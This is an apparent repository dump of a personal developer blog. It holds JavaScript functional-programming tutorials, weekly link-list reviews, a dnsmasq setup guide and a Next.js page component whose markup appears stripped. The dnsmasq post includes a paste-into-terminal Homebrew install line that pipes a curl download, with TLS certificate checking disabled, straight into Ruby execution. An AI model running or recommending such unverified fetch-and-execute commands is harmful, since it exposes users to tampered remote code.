Sick](https://www.nytimes.com/2017/03/10/opinion/sunday/can-sleep-deprivation-cure-depression.html?nytmobile=0) - Information about sleep schedules 24 | - [Hackers Are Emptying ATMs With a Single Drilled Hole and \$15 Worth of Gear](https://www.wired.com/2017/04/hackers-emptying-atms-drill-15-worth-gear/) - Short read on latest ATM hack 25 | - [HOW TO LOSE WEIGHT IN 4 EASY STEPS](https://medium.com/@AaronBleyaert/how-to-lose-weight-in-4-easy-steps-1f135f7e1dec) - Enjoyable read 26 | 27 | ## Currently Reading 28 | 29 | - [Neuromancer](https://www.goodreads.com/book/show/22328.Neuromancer) 30 | - [Elon Musk: Inventing the Future](https://www.goodreads.com/book/show/22543496-elon-musk) (audiobook) 31 | -------------------------------------------------------------------------------- /posts/2014-01-compose-functions-javascript.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Composing Functions in JavaScript 3 | date: 2014-01-19 00:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Composing multiple functions to create more complex ones is a common utility in any programming language. And the ability to construct functions in a way that is easily composable is a true talent, but it really shines with code maintenance and reuse. It's not uncommon to find huge applications composed of many, much smaller functions. Inspired by this pattern of extremely modular functions, I've been slowly migrating my programming style to allow for more composable and reusable functions. 9 | 10 | To compose functions together, we will need to accept a list of functions for it to be made up from. Let's call the functions `a`, `b` and `c`. Now that we have the list of functions, we need to call each of them with the result of the next function. In JavaScript, we would do this with `a(b(c(x)))` - with `x` being the starting value. However, it would be much more useful to have something a little more reusable than this. 11 | 12 | ```javascript 13 | function compose() { 14 | var fns = arguments; 15 | 16 | return function (result) { 17 | for (var i = fns.length - 1; i > -1; i--) { 18 | result = fns[i].call(this, result); 19 | } 20 | 21 | return result; 22 | }; 23 | } 24 | ``` 25 | 26 | The above function iterates over the function list (our arguments) in reverse - the last function to pass in is executed first. Given a single value as the initial input, it'll chain that value between every function call and return the final result. This allows us to do some really cool things. 27 | 28 | ```javascript 29 | var number = compose(Math.round, parseFloat); 30 | 31 | number("72.5"); //=> 73 32 | ``` 33 | 34 | ## Sequence 35 | 36 | Another utility I've seen about in some functional libraries is called [sequence](https://github.com/raganwald/allong.es#functional-composition). It's very similar to `compose`, except the arguments are executed in reverse. For example: 37 | 38 | ```javascript 39 | function sequence() { 40 | var fns = arguments; 41 | 42 | return function (result) { 43 | for (var i = 0; i < fns.length; i++) { 44 | result = fns[i].call(this, result); 45 | } 46 | 47 | return result; 48 | }; 49 | } 50 | ``` 51 | 52 | However, we should make a note of the almost identical function signature to `compose`. Usually, seeing something like this should trigger a warning in your head to find some way to reuse previous functionality, instead of replicating it. In this example, we can reuse the `compose` function to write the `sequence` implementation. 53 | 54 | ```javascript 55 | var slice = Array.prototype.slice; 56 | 57 | var sequence = function () { 58 | return compose.apply(this, slice.call(arguments).reverse()); 59 | }; 60 | ``` 61 | -------------------------------------------------------------------------------- /posts/2013-12-javascript-variadic-function.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: A Variadic Utility in JavaScript 3 | date: 2013-12-29 23:00 4 | author: Blake Embrey 5 | layout: article 6 | npm: variadic 7 | github: blakeembrey/variadic 8 | --- 9 | 10 | A variadic function is a type of function which accepts a variable number of arguments. In JavaScript, every function can be variadic and it's commonplace to see snippets of code using `Array.prototype.slice.call(arguments, 1)` to get a unlimited number of trailing arguments back as an array. You can also find many instances where you would even slice all the arguments, for the sake of manipulation and array concatenation. 11 | 12 | The ability to get all the functions trailing arguments natively would be a great inclusion to the language, and in fact [it's already in the works with ES6](http://ariya.ofilabs.com/2013/03/es6-and-rest-parameter.html). For now though, we could be stuck typing this out manually. Or we can write ourselves a [little utility function](https://github.com/blakeembrey/variadic) to speed up our workflow. 13 | 14 | ```javascript 15 | var slice = Array.prototype.slice; 16 | 17 | /** 18 | * Generate a function that accepts a variable number of arguments as the last 19 | * function argument. 20 | * 21 | * @param {Function} fn 22 | * @return {Function} 23 | */ 24 | function variadic(fn) { 25 | var count = Math.max(fn.length - 1, 0); 26 | 27 | return function () { 28 | var args = slice.call(arguments, 0, count); 29 | 30 | // Enforce the array length, in case we don't have enough array padding. 31 | args.length = count; 32 | args.push(slice.call(arguments, count)); 33 | 34 | return fn.apply(this, args); 35 | }; 36 | } 37 | ``` 38 | 39 | The snippet above accepts a single function as its argument and returns a new function that will pass in every additional argument as an array to the last parameter. 40 | 41 | ```javascript 42 | var fn = variadic(function (args) { 43 | return args; 44 | }); 45 | 46 | fn(); //=> [] 47 | fn("a"); //=> ['a'] 48 | fn("a", "b"); //=> ['a', 'b']; 49 | 50 | var fn = variadic(function (a, b, args) { 51 | return { a: a, b: b, args: args }; 52 | }); 53 | 54 | fn(); //=> { a: undefined, b: undefined, args: [] } 55 | fn("a"); //=> { a: 'a', b: undefined, args: [] } 56 | fn("a", "b", "c", "d", "e"); //=> { a: 'a', b: 'b', args: ['c', 'd', 'e'] } 57 | ``` 58 | 59 | When might you use this in practice though? One example is the Backbone.js event triggering mechanism which accepts a variable number of arguments. 60 | 61 | ```javascript 62 | trigger: function(name) { 63 | if (!this._events) return this; 64 | var args = slice.call(arguments, 1); 65 | // Trigger some events with the args. 66 | return this; 67 | }, 68 | ``` 69 | 70 | Could be rewritten to simply be: 71 | 72 | ```javascript 73 | trigger: variadic(function (name, args) { 74 | if (!this._events) return this; 75 | // Trigger some events with the args. 76 | return this; 77 | }), 78 | ``` 79 | -------------------------------------------------------------------------------- /posts/2017-06-05-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-06-05) 3 | date: 2017-06-05 18:30 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Only 19 webpages - might mean I'm working more (don't usually track work-related topics) 9 | - Watched [Passengers](https://trakt.tv/movies/passengers-2016) and an episode of [Man in the High Castle](https://trakt.tv/shows/the-man-in-the-high-castle/seasons/2/episodes/6) 10 | 11 | ## Internet 12 | 13 | - Video 14 | - [The Truth About Ecstasy: High Society](https://www.youtube.com/watch?v=zZMETFXFE24) 15 | - [Flight of the Conchords - Inner City Pressure](https://www.youtube.com/watch?v=WUAcN9UCnbU) 16 | - [Flight of the Conchords - The Most Beautiful Girl (In The Room)](https://www.youtube.com/watch?v=9jLDZjMF3tk) 17 | - Useful 18 | - [The Investing Series: Rate of Return](https://www.youneedabudget.com/the-investing-series-rate-of-return/) 19 | - Interesting 20 | - [Voluntary taxation: a lesson from the Ancient Greeks](https://aeon.co/ideas/voluntary-taxation-a-lesson-from-the-ancient-greeks) 21 | - [As Trump slashes funding, California proposes its own energy moonshot](https://www.technologyreview.com/s/607945/amid-trump-cuts-california-proposes-its-own-energy-moonshot/) 22 | - [President Trump cited outdated MIT research in exiting Paris climate agreement](https://www.technologyreview.com/s/608015/trump-misused-mit-research-in-reasons-for-ditching-climate-deal/) 23 | - [WannaCry and Vulnerabilities](https://www.schneier.com/blog/archives/2017/06/wannacry_and_vu.html) 24 | - Opinion 25 | - [5 Unexpected Outcomes Of Our Blue Apron Experiment](https://www.youneedabudget.com/5-unexpected-outcomes-of-our-blue-apron-experiment/) 26 | - [Daring Fireball: Cooperstown Celebrates 25th Anniversary of 'Homer at the Bat'](https://daringfireball.net/linked/2017/05/29/homer-at-the-bat) 27 | - [Daring Fireball: Russian Hackers Are Using Google's Own Infrastructure to Hack Gmail Users](https://daringfireball.net/linked/2017/05/29/russian-amp-phishing) 28 | - [Daring Fireball: Halide](https://daringfireball.net/2017/05/halide) 29 | - [Danish ISPs stop providing copyright industry with subscriber identities](https://www.privateinternetaccess.com/blog/2017/05/danish-isps-stop-providing-copyright-industry-subscriber-identities/) 30 | - [Seth's Blog: Thinking clearly about quality](http://sethgodin.typepad.com/seths_blog/2017/06/thinking-clearly-about-quality.html) 31 | - [Scripting News: June 2, 2017](http://scripting.com/2017/06/02.html) 32 | - [Scripting News: June 4, 2017](http://scripting.com/2017/06/04.html) 33 | - [Scripting News: June 5, 2017](http://scripting.com/2017/06/05.html) 34 | - Software 35 | - [Hacker, Hack Thyself](https://blog.codinghorror.com/hacker-hack-thyself/) 36 | - [OneLogin: Breach Exposed Ability to Decrypt Data](https://krebsonsecurity.com/2017/06/onelogin-breach-exposed-ability-to-decrypt-data/) 37 | 38 | ## Reading 39 | 40 | - [Foundation](https://www.goodreads.com/book/show/29579.Foundation) 41 | - [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) (audiobook) 42 | -------------------------------------------------------------------------------- /posts/2013-12-javascript-bind-function.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: The JavaScript Bind Function 3 | date: 2013-12-31 01:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | The JavaScript `bind` function is a common-place utility when working with many different frameworks and libraries. It's purpose is to bind the `this` value to a static object and is useful when passing functions around as callbacks, where maintaining the correct `this` value is required. A common convention to circumvent this utility is the `var that = this`, but this isn't very feasible everywhere. 9 | 10 | In [modern JavaScript implementations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) the function is built directly onto `Function.prototype`, giving us `bind` functionality on every function. For our implementation we'll be implementing a standalone functionality that works similar to the built-in `bind` function. 11 | 12 | However, it's important to note that `bind` also comes with another handy feature. It accepts an unlimited number of arguments after the context to pass in as the function parameters, from left to right. 13 | 14 | ```javascript 15 | var slice = Array.prototype.slice; 16 | 17 | /** 18 | * Bind a function to a certain context. 19 | * 20 | * @param {Function} fn 21 | * @param {Object} context 22 | * @param {*} ... 23 | * @return {Function} 24 | */ 25 | function bind(fn, context /*, ...args */) { 26 | var args = slice.call(arguments, 2); 27 | 28 | return function () { 29 | return fn.apply(context, args.concat(slice.call(arguments))); 30 | }; 31 | } 32 | ``` 33 | 34 | Bind allows us to keep the `this` context when passing the callback to another function. Imagine passing a function that uses `this` into `setTimeout` or someone elses library utility, where `this` could be unpredictable. 35 | 36 | ```javascript 37 | function greet(greeting) { 38 | return greeting + " " + this.user; 39 | } 40 | 41 | greet("Hello"); //=> "Hello undefined" 42 | 43 | var boundGreet = bind(greet, { user: "Bob" }); 44 | 45 | boundGreet("Hello"); //=> "Hello Bob" 46 | ``` 47 | 48 | We also have another useful feature built into `bind` - partial application. Partial application is essentially the act of pre-filling function arguments. Any future arguments are then appended to the arguments we have already defined. 49 | 50 | ```javascript 51 | function greet(user, greeting) { 52 | return greeting + " " + user; 53 | } 54 | 55 | var greetBlake = bind(greet, null, "Blake"); 56 | 57 | greetBlake("Hi"); //=> "Hi Blake" 58 | greetBlake("Hello"); //=> "Hello Blake" 59 | ``` 60 | 61 | ## Bonus Implementation using Variadic 62 | 63 | In my last post, I introduced the concept of a [variadic function](../javascript-variadic-function). As this article demonstrates, `bind` is a perfect example of a variadic function, so let's reimplement `bind` with the variadic function. 64 | 65 | ```javascript 66 | var bind = variadic(function (fn, context, args) { 67 | return variadic(function (called) { 68 | return fn.apply(context, args.concat(called)); 69 | }); 70 | }); 71 | ``` 72 | -------------------------------------------------------------------------------- /posts/2017-06-26-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-06-26) 3 | date: 2017-06-26 22:00 4 | --- 5 | 6 | ## Internet 7 | 8 | - Useful 9 | - [Great News: There’s Another Recession Coming](http://www.mrmoneymustache.com/2017/06/20/next-recession/) 10 | - [How to Prosper in an Economic Boom](http://www.mrmoneymustache.com/2013/05/07/how-to-prosper-in-an-economic-boom/) 11 | - Interesting 12 | - [Girlfriend Secretly Illustrates Everyday Life With Her Bf, He Uploads Comics Online And They Go Viral](http://www.boredpanda.com/couple-comics-catanacomics/) 13 | - [A California Dream](https://mentalfloss.atavist.com/a-california-dream) 14 | - [Getting Googled By Your Doctor Is the New Normal](http://cancer.nautil.us/article/225/getting-googled-by-your-doctor-is-the-new-normal) 15 | - [Fake online stores reveal gamblers' shadow banking system](http://uk.reuters.com/article/us-gambling-usa-dummies-exclusive-idUKKBN19D137) 16 | - [Post-FCC Privacy Rules, Should You VPN?](https://krebsonsecurity.com/2017/03/post-fcc-privacy-rules-should-you-vpn/) 17 | - [Who Is Causing All the Fires in San Francisco?](http://www.gq.com/story/san-francisco-is-burning) 18 | - [Silicon Valley Women Tell of VC’s Unwanted Advances](https://www.theinformation.com/silicon-valley-women-tell-of-vcs-unwanted-advances) 19 | - Opinion 20 | - [Biotech patents reveal the next generation of seeds. Can that predict food productivity?](https://www.technologyreview.com/s/608171/how-biotech-patents-are-linked-to-us-food-productivity/) 21 | - [SpaceX is making commercial space launches look like total child’s play](https://www.technologyreview.com/s/608172/spacex-is-making-commercial-space-launches-look-like-childs-play/) 22 | - [Why Waymo’s partnership with Avis makes sense](https://www.technologyreview.com/s/608176/why-waymos-partnership-with-avis-makes-sense/) 23 | - [The unique map that reveals the entire planet’s urban footprint](https://www.technologyreview.com/s/608156/global-urban-footprint-revealed-in-unprecedented-resolution/) 24 | - [Daring Fireball: Google Will Stop Reading Your Emails for Gmail Ads](https://daringfireball.net/linked/2017/06/23/gmail-privacy) 25 | - [Why is the Internet so Slow?](https://labs.ripe.net/Members/mirjam/why-is-the-internet-so-slow) 26 | - News 27 | - [Australia wants to be able to read your encrypted messages](https://www.privateinternetaccess.com/blog/2017/06/australia-wants-able-read-encrypted-messages/) 28 | - [The world’s first elevator cable-free elevator zooms horizontally and vertically using maglev tech](https://www.technologyreview.com/s/608167/worlds-first-cable-free-elevator-zooms-horizontally-and-vertically-using-maglev-tech/) 29 | - Software 30 | - [A Brief History of the UUID](https://segment.com/blog/a-brief-history-of-the-uuid/) 31 | - [A Cyberattack ‘the World Isn’t Ready For’](https://www.nytimes.com/2017/06/22/technology/ransomware-attack-nsa-cyberweapons.html) 32 | 33 | ## Reading 34 | 35 | - Finished reading [Red Rising](https://www.goodreads.com/book/show/15839976-red-rising) and [Golden Son](https://www.goodreads.com/book/show/18966819-golden-son) 36 | - [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) (as audiobook) 37 | -------------------------------------------------------------------------------- /posts/2012-04-local-development-with-dnsmasq.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Simplify Local Development with Dnsmasq 3 | date: 2012-04-24 07:28 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Ever wanted to be able to set up your local domains instantly and never have to worry about your `/etc/hosts` again? Me too! A bit of looking around and I discovered a wealth of information about a small _DNS Forwarder_ called DNSMASQ. 9 | 10 | So, this is great. We have our solution - it's a tiny program barely taking 700KB of RAM, and it's a cinch to set up. By the end of this post, you will have a working TLD for use with your local development applications. No more playing with your `/etc/hosts` file every time you want to add a new domain. 11 | 12 | In this tutorial, I will be focusing on Mac as it is the OS I use, however, the instructions should be fairly similar on linux. It has been tested in Mountain Lion and should work without a hiccup all the way down to Leopard (probably lower). 13 | 14 | First of all, if you haven't installed it already, we will install **homebrew** - the missing package manager for OS X. To install, just follow the instructions available on [the homepage](http://mxcl.github.com/homebrew/) or just copy and paste this snippet into terminal: 15 | 16 | ``` 17 | /usr/bin/ruby -e "$(/usr/bin/curl -fksSL https://raw.github.com/mxcl/homebrew/master/Library/Contributions/install_homebrew.rb)" 18 | ``` 19 | 20 | Once brew is installed, we'll install dnsmasq using `brew install dnsmasq` 21 | 22 | Next, let's activate dnsmasq. Homebrew should have output some hints on how to get started, but in case you missed it should be something along these lines. 23 | 24 | ``` 25 | cp /usr/local/Cellar/dnsmasq/2.57/dnsmasq.conf.example /usr/local/etc/dnsmasq.conf 26 | sudo cp /usr/local/Cellar/dnsmasq/2.57/homebrew.mxcl.dnsmasq.plist /Library/LaunchDaemons 27 | sudo launchctl load -w /Library/LaunchDaemons/homebrew.mxcl.dnsmasq.plist 28 | ``` 29 | 30 | Brilliant, now let's modify our configuration file at `/usr/local/etc/dnsmasq.conf`: 31 | 32 | We'll add two rules. The first is the address, or TLD, we will listen to. In this case we will use `.dev`, but you can use anything (except `.local` - [not a good idea](http://www.justincarmony.com/blog/2011/07/27/mac-os-x-lion-etc-hosts-bugs-and-dns-resolution/)) 33 | 34 | ``` 35 | address=/dev/127.0.0.1 36 | listen-address=127.0.0.1 37 | ``` 38 | 39 | To start and stop dnsmasq, simply use 40 | 41 | ``` 42 | sudo launchctl stop homebrew.mxcl.dnsmasq && sudo launchctl start homebrew.mxcl.dnsmasq 43 | ``` 44 | 45 | However, I found it even easier to just kill the script in the Activity Monitor. For the final step, add `127.0.0.1` as a name server in `System Preferences -> Network -> Advanced -> DNS`. You can add it along with some other DNS records, just make sure it's at the top. For example, I use Google's Public DNS - `8.8.8.8` and `8.8.4.4`. 46 | 47 | Now in whichever language you are writing in, you should be able to easily set up your virtual hosts for use on the `.dev` TLD. You should be even able to see your name server setup using `scutil --dns`. 48 | 49 | References: 50 | 51 | - [ServerFault Question](http://serverfault.com/a/164215) 52 | - [Install DNSmasq locally on Mac OS X via Homebrew](http://blog.philippklaus.de/2012/02/install-dnsmasq-locally-on-mac-os-x-via-homebrew/) 53 | -------------------------------------------------------------------------------- /posts/2017-07-10-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-07-10) 3 | date: 2017-07-10 10:30 4 | --- 5 | 6 | ## Internet 7 | 8 | - Useful 9 | - [Laziness Made Me Rich](http://wealthyaccountant.com/2017/07/05/laziness-made-me-rich/) 10 | - Video 11 | - [Diversity + Inclusion at Early Stage Startups - CS183F](https://www.youtube.com/watch?v=v8b_urti6iQ) 12 | - Interesting 13 | - [What football will look like in the future](https://www.sbnation.com/a/17776-football) 14 | - [Password Strength Indicators Help People Make Ill-Informed Choices](https://www.troyhunt.com/password-strength-indicators-help-people-make-dumb-choices/) 15 | - Opinion 16 | - [Why I Left Facebook](https://www.blakewatson.com/journal/why-i-left-facebook/) 17 | - [The Freelancer's Guide To Retainers](https://doubleyourfreelancing.com/freelancers-guide-client-retainer-agreements/) 18 | - [How Actively Managed Funds Legally Lie about Performance](http://wealthyaccountant.com/2017/07/07/how-actively-managed-funds-legally-lie-about-performance/) 19 | - [Speculation on the Pricing of and Strategy Behind This Year’s New iPhones](https://daringfireball.net/2017/07/speculation_on_new_iphone_pricing) 20 | - [8 Ways to Feel Wealthy On A Budget](https://www.youneedabudget.com/8-ways-to-feel-wealthy-on-a-budget/) 21 | - [Seth's Blog: The rationality paradox](http://sethgodin.typepad.com/seths_blog/2017/07/the-rationality-paradox.html) 22 | - [Seth's Blog: Caring is free](http://sethgodin.typepad.com/seths_blog/2017/07/caring-is-free.html) 23 | - [Daring Fireball: Apple’s Bad Beta Decision on Em and En Dashes in iOS 11](https://daringfireball.net/linked/2017/07/07/dash-dash) 24 | - [Debt-Free at Twenty-Three](https://www.youneedabudget.com/debt-free-at-twenty-three/) 25 | - [Change Nothing](http://wealthyaccountant.com/2017/07/10/change-nothing/) 26 | - News 27 | - [Hackers have been targeting U.S. nukes](https://www.technologyreview.com/s/608247/hackers-have-been-targeting-us-nukes/) 28 | - Software 29 | - [Mastering Programming](https://www.facebook.com/notes/kent-beck/mastering-programming/1184427814923414/) 30 | - [URLs are UI](https://www.hanselman.com/blog/URLsAreUI.aspx) 31 | - [A new space](https://remysharp.com/2017/07/08/a-new-space) 32 | - [Open Sources](https://thedailywtf.com/articles/open-sources) 33 | - [Why We Chose Typescript](https://redditblog.com/2017/06/30/why-we-chose-typescript/) 34 | - [Making the Internet Archive’s full text search faster](https://medium.com/@giovannidamiola/making-the-internet-archives-full-text-search-faster-30fb11574ea9) 35 | - [From Apple's WWDC 2017 Highlights For Web Developers](https://www.smashingmagazine.com/2017/07/wwdc-2017-highlights/) 36 | - [Simple random number generators](https://www.johndcook.com/blog/2017/07/05/simple-random-number-generator/) 37 | - [Moving Yelp's Core Business Search to Elasticsearch](https://engineeringblog.yelp.com/2017/06/moving-yelps-core-business-search-to-elasticsearch.html) 38 | - [Setting up 2FA for Node.js Applications](https://ponyfoo.com/articles/setting-up-2fa-for-nodejs-applications) 39 | - [Architecting Serverless Notifications on AWS](https://vmokshagroup.com/blog/architecting-serverless-notifications-on-aws/) 40 | - [Searching and Fetching Large Datasets in Elasticsearch Efficiently](https://qbox.io/blog/efficient-search-fetch-large-datasets-elasticsearch-scroll-api) 41 | 42 | ## Reading 43 | 44 | - [Ender's Game](https://www.goodreads.com/book/show/375802.Ender_s_Game) 45 | - [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) (audiobook) 46 | -------------------------------------------------------------------------------- /posts/2017-06-12-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-06-12) 3 | date: 2017-06-12 11:30 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Watched [Miss Saigon](https://www.miss-saigon.com/) 9 | - Went to the filming of [The Late Show with Stephen Colbert](https://www.youtube.com/playlist?list=PLiZxWe0ejyv_Chl_GV1ht34hzAVlg2aLv) 10 | - Two episodes of [Man in the High Castle](https://trakt.tv/shows/the-man-in-the-high-castle/seasons/2) 11 | - 22 articles/videos/webpages 12 | 13 | ## Internet 14 | 15 | - Video 16 | - ['Are we the Baddies?' Mitchell and Webb Funny Nazi Scetch](https://www.youtube.com/watch?v=hn1VxaMEjRU) 17 | - [Jon Stewart on Crossfire](https://www.youtube.com/watch?v=aFQFB5YpDZE) 18 | - [Brexit II: Last Week Tonight with John Oliver (HBO)](https://www.youtube.com/watch?v=fyVz5vgqBhE) 19 | - Useful 20 | - [Options vs. Cash](https://danluu.com/startup-options/) 21 | - [Why aren’t people taking initiative?](https://www.linkedin.com/pulse/why-arent-people-taking-initiative-jean-hsu) 22 | - Interesting 23 | - [For centuries European aristocrats proudly claimed foreign ancestry](https://aeon.co/ideas/for-centuries-european-aristocrats-proudly-claimed-foreign-ancestry) 24 | - [Trickle-down workaholism in startups](https://m.signalvnoise.com/trickle-down-workaholism-in-startups-a90ceac76426?gi=26a19005e338) 25 | - [The AWS spend of a SaaS side-business](https://blog.cronitor.io/the-aws-spend-of-a-saas-side-business-30bd5dbd91b) 26 | - [How to Make \$80,000 Per Month on the Apple App Store](https://medium.com/@johnnylin/how-to-make-80-000-per-month-on-the-apple-app-store-bdb943862e88) 27 | - Opinion 28 | - [Daring Fireball: The Second Coming of iPad](https://daringfireball.net/linked/2017/06/08/second-coming-of-ipad) 29 | - [iOS 11 Tidbits: Customizable Control Center, One-Handed Keyboard, Type to Siri and More](https://www.macrumors.com/2017/06/05/ios-11-beta-1-tidbits/) 30 | - [Daring Fireball: Apple Introduces Core ML](https://daringfireball.net/linked/2017/06/10/core-ml) 31 | - News 32 | - [Statement for the Record - Senate Select Committee on Intelligence](https://www.intelligence.senate.gov/sites/default/files/documents/os-jcomey-060817.pdf) 33 | - [Statement on npm‑cdn.com and npm‑js.com](http://blog.npmjs.org/post/161325296275/statement-on-npmcdncom-and-npmjscom) 34 | - [Trump National Security Team Blindsided by NATO Speech](http://www.politico.com/magazine/story/2017/06/05/trump-nato-speech-national-security-team-215227) 35 | - [Trump's Trip Was a Catastrophe for U.S.-Europe Relations](https://www.theatlantic.com/international/archive/2017/05/trump-nato-germany/528429/) 36 | - [Trump's Russia response was not under control](https://www.axios.com/trumps-russia-response-was-not-under-control-2438934967.html) 37 | - Software 38 | - [Making the Internet Archive’s full text search faster](https://medium.com/@giovannidamiola/making-the-internet-archives-full-text-search-faster-30fb11574ea9) 39 | - [SecureLogin — Forget About Passwords](https://medium.com/@homakov/securelogin-forget-about-passwords-c1bf7b47f698) 40 | - [A Gentle Introduction To Graph Theory](https://dev.to/vaidehijoshi/a-gentle-introduction-to-graph-theory) 41 | - [To Queue Or Not To Queue](https://dev.to/vaidehijoshi/to-queue-or-not-to-queue) 42 | - [Bits, Bytes, Building With Binary](https://dev.to/vaidehijoshi/bits-bytes-building-with-binary) 43 | 44 | ## Reading 45 | 46 | - Finished [Foundation](https://www.goodreads.com/book/show/29579.Foundation) 47 | - [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) (as audiobook) 48 | -------------------------------------------------------------------------------- /src/pages/posts/[slug].tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { styled } from "react-free-style"; 3 | import Head from "next/head"; 4 | import { format } from "date-fns"; 5 | import { Layout } from "../../components/layout"; 6 | import { getPostByPath, getPostPaths } from "../../lib/api"; 7 | import { postSlug, getPostUrl, postToDate } from "../../lib/utils"; 8 | import { siteName, baseUrl, siteRepo } from "../../lib/config"; 9 | import type { PostEntity } from "../../types/entities"; 10 | 11 | type Props = { 12 | post: PostEntity; 13 | }; 14 | 15 | const Info = styled("ul", { 16 | margin: "0 0 2em 0", 17 | padding: 0, 18 | color: "var(--text-color-subtle)", 19 | fontSize: "0.85em", 20 | "> li > a": { 21 | color: "var(--text-color-subtle)", 22 | }, 23 | "> li": { 24 | listStyle: "none", 25 | display: "inline-block", 26 | paddingRight: 20, 27 | }, 28 | }); 29 | 30 | export default function ({ post }: Props) { 31 | const { title, image, github, npm, description } = post.data; 32 | const date = postToDate(post); 33 | const fullUrl = `${baseUrl}${post.url}`; 34 | 35 | return ( 36 | 37 | 38 | {post.data.title} • Blake Embrey 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | {image ? : undefined} 47 | {date ? ( 48 | 49 | ) : undefined} 50 | 51 | 52 |

{title}

53 | 54 | {date ? ( 55 |
  • 56 | Written{" "} 57 | 60 |
  • 61 | ) : undefined} 62 | {github ? ( 63 |
  • 64 | View on GitHub 65 |
  • 66 | ) : undefined} 67 | {npm ? ( 68 |
  • 69 | View on NPM 70 |
  • 71 | ) : undefined} 72 |
    73 |
    74 |
    75 |

    76 | Questions? Find me on{" "} 77 | Twitter or{" "} 78 | open an issue. 79 |

    80 | 81 | ); 82 | } 83 | 84 | type Params = { 85 | params: { 86 | slug: string; 87 | }; 88 | }; 89 | 90 | export async function getStaticProps({ params }: Params) { 91 | const post = await getPostByPath(`${params.slug}.md`); 92 | 93 | return { 94 | props: { 95 | post, 96 | }, 97 | }; 98 | } 99 | 100 | export async function getStaticPaths() { 101 | const paths = await getPostPaths(); 102 | 103 | return { 104 | paths: paths.map((path) => { 105 | return { 106 | params: { 107 | slug: postSlug(path), 108 | }, 109 | }; 110 | }), 111 | fallback: false, 112 | }; 113 | } 114 | -------------------------------------------------------------------------------- /posts/2017-09-11-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-09-11) 3 | date: 2017-09-11 09:30 4 | --- 5 | 6 | ## Internet 7 | 8 | - Favourite 9 | - [Keeping a tidy life](https://medium.com/@ctrlaltjustine/keeping-a-tidy-life-f01bbe2a9b3e) 10 | - Video 11 | - [Why the apparent flatness of space is an enduring cosmological mystery](https://aeon.co/videos/why-the-apparent-flatness-of-space-is-an-enduring-cosmological-mystery) 12 | - [In the shadows of high-rises, Shanghai’s small neighbourhoods struggle to survive](https://aeon.co/videos/in-the-shadows-of-high-rises-shanghais-small-neighbourhoods-struggle-to-survive) 13 | - Useful 14 | - [Breach at Equifax May Impact 143M Americans](https://krebsonsecurity.com/2017/09/breach-at-equifax-may-impact-143m-americans/) 15 | - [How to Train Yourself to Stay Focused](https://zenhabits.net/focus-training/) 16 | - Interesting 17 | - [What the Industrial Revolution Really Tells Us About the Future of Automation and Work](https://cacm.acm.org/news/220768-what-the-industrial-revolution-really-tells-us-about-the-future-of-automation-and-work/fulltext) 18 | - [Delta Goes Big, Then Goes Home](https://www.flightradar24.com/blog/delta-goes-big-then-goes-home/) 19 | - [How I Get Focused for Great Professional and Personal Performance](https://www.thesimpledollar.com/how-i-get-focused-for-great-professional-and-personal-performance/) 20 | - Opinion 21 | - [Average net worth by age (and how to increase it)](https://www.iwillteachyoutoberich.com/blog/average-net-worth-by-age/) 22 | - [Is Learning Extra Languages Worth the Hassle?](https://www.scotthyoung.com/blog/2017/09/06/language-learning-worth/) 23 | - [Procrastination: What causes it and how to overcome it](http://blog.rescuetime.com/2017/09/05/procrastination/) 24 | - [Weekly roundup: 3 ways to deal with a noisy office](http://blog.rescuetime.com/2017/08/31/weekly-roundup-noisy-office/) 25 | - [Imposter Syndrome: Why You Have It and What You Can Do About It](https://zapier.com/blog/what-is-imposter-syndrome/) 26 | - [The Are No Productivity Hacks](https://superyesmore.com//the-are-no-productivity-hacks-4a61131fb4b7d960c9537f7e63e8a5e3) 27 | - [Monday Master Class: Don’t Use a Daily To-Do List](http://calnewport.com/blog/2007/12/03/monday-master-class-dont-plan-your-day-with-a-to-do-list/) 28 | - [Deep Habits: The Importance of Planning Every Minute of Your Work Day](http://calnewport.com/blog/2013/12/21/deep-habits-the-importance-of-planning-every-minute-of-your-work-day/) 29 | - [Time Blocking — The Secret Weapon For Better Focus](http://www.makeuseof.com/tag/time-blocking-secret-weapon-better-focus/) 30 | - News 31 | - [We can no longer assess hurricane and flood risk by looking in a rear-view mirror](https://www.technologyreview.com/s/608800/our-hurricane-risk-models-are-dangerously-out-of-date/) 32 | - [Equifax Breach Response Turns Dumpster Fire](https://krebsonsecurity.com/2017/09/equifax-breach-response-turns-dumpster-fire/) 33 | - [Why religion is not going away and science will not destroy it](https://aeon.co/ideas/why-religion-is-not-going-away-and-science-will-not-destroy-it) 34 | - Software 35 | - [Python web scraping resource](http://jakeaustwick.me/python-web-scraping-resource/) 36 | - [Dive into bitwise not and numbers](https://remysharp.com/2017/09/08/dive-into-bitwise-not-and-numbers) 37 | 38 | ## Reading 39 | 40 | - [What Technology Wants](https://www.goodreads.com/book/show/7954936-what-technology-wants) 41 | - [Sapiens: A Brief History of Humankind](https://www.goodreads.com/book/show/23692271-sapiens) (audiobook) 42 | - Started [Hyperion](https://www.goodreads.com/book/show/77566.Hyperion) 43 | -------------------------------------------------------------------------------- /posts/2015-06-skype-auto-answer.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Skype Auto Answer with 